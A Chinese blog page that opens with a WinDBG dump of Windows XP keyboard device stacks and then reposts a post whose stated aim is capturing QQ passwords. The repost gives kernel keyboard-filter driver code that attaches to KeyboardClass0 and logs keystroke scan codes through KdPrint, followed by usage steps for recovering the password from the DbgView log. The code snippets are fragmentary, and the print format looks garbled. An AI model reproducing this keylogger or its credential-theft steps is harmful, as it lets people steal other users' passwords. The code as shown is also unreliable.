XPsp3键盘设备链/栈信息_02_VMware

本文展示了使用WinDBG调试工具时捕获到的一系列系统信息,包括不同设备对象的类型、特性及状态等详细数据。通过对这些信息的分析,可以帮助开发者诊断系统中存在的问题。

1、WinDBG中 打印的信息:

zcFirst.SYS: entering DriverEntry
zcFirst.sys _DriverObject : 0x8280EB10
MyAttach
Chain[0] :
Stack[0] -- message begin :
_pDeviceObject->DeviceType : 0x0000000B, _pDeviceObject->Characteristics : 0x00000000
STATUS_INFO_LENGTH_MISMATCH : 0xC0000004
ObQueryNameString - ulRtnLen(1) : 0x00000036
ObQueryNameString - objNameInfo : \Device\KeyboardClass1
pDevObjExt->Size : 0x00000000
pDevObjExt->Type : 0x0000000D
Stack[1] -- message end .

Stack[1] -- message begin :
_pDeviceObject->DeviceType : 0x00000027, _pDeviceObject->Characteristics : 0x00000000
STATUS_INFO_LENGTH_MISMATCH : 0xC0000004
ObQueryNameString - ulRtnLen(1) : 0x00000032
ObQueryNameString - objNameInfo : \Device\RDP_CONSOLE0
pDevObjExt->Size : 0x00000000
pDevObjExt->Type : 0x0000000D
Stack[2] -- message end .

Stack[2] -- message begin :
_pDeviceObject->DeviceType : 0x00000004, _pDeviceObject->Characteristics : 0x00000080
STATUS_INFO_LENGTH_MISMATCH : 0xC0000004
ObQueryNameString - ulRtnLen(1) : 0x0000002A
ObQueryNameString - objNameInfo : \Device\00000032
pDevObjExt->Size : 0x00000000
pDevObjExt->Type : 0x0000000D
Stack[3] -- message end .

Chain[1] :
Stack[0] -- message begin :
_pDeviceObject->DeviceType : 0x0000000B, _pDeviceObject->Characteristics : 0x00000000
STATUS_INFO_LENGTH_MISMATCH : 0xC0000004
ObQueryNameString - ulRtnLen(1) : 0x00000036
ObQueryNameString - objNameInfo : \Device\KeyboardClass0
pDevObjExt->Size : 0x00000000
pDevObjExt->Type : 0x0000000D
Stack[1] -- message end .

Stack[1] -- message begin :
_pDeviceObject->DeviceType : 0x00000027, _pDeviceObject->Characteristics : 0x00000000
STATUS_INFO_LENGTH_MISMATCH : 0xC0000004
ObQueryNameString - ulRtnLen(1) : 0x00000008
ObQueryNameString - objNameInfo is empty .
pDevObjExt->Size : 0x00000000
pDevObjExt->Type : 0x0000000D
Stack[2] -- message end .

Stack[2] -- message begin :
_pDeviceObject->DeviceType : 0x00000032, _pDeviceObject->Characteristics : 0x00000080
STATUS_INFO_LENGTH_MISMATCH : 0xC0000004
ObQueryNameString - ulRtnLen(1) : 0x0000002A
ObQueryNameString - objNameInfo : \Device\0000006e
pDevObjExt->Size : 0x00000000
pDevObjExt->Type : 0x0000000D
Stack[3] -- message end .

 

2、

3、

 

转载于:https://www.cnblogs.com/DriverSkill/p/6197344.html

http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值